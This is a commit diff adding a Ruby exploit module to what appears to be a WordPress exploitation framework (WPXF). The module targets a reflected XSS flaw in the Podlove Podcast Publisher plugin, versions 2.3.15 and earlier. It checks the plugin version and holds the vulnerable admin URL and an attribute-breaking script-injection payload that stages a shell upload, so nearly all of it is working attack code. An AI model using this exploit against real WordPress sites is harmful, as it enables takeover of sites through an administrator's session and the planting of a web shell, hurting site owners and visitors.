Add Podlove Podcast Publisher <= 2.3.15 reflected XSS shell upload

Author: rastating

modules/exploits/podlove_podcast_publisher_reflected_xss_shell_upload.rb

@@ -0,0 +1,34 @@
+class Wpxf::Exploit::PodlovePodcastPublisherReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StagedReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Podlove Podcast Publisher <= 2.3.15 Reflected XSS Shell Upload',
+      author: [
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8697'],
+        ['URL', 'https://www.rastating.com/podlove-podcast-publisher-2-3-15-reflected-xss']
+      ],
+      date: 'Dec 14 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_changelog('podlove-podcasting-plugin-for-wordpress', 'readme.txt', '2.3.16')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'admin.php?page=podlove_episode_assets_settings_handle')
+  end
+
+  def initial_script
+    create_basic_post_script(
+      vulnerable_url,
+      'page' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script><a href=\\\""
+    )
+  end
+end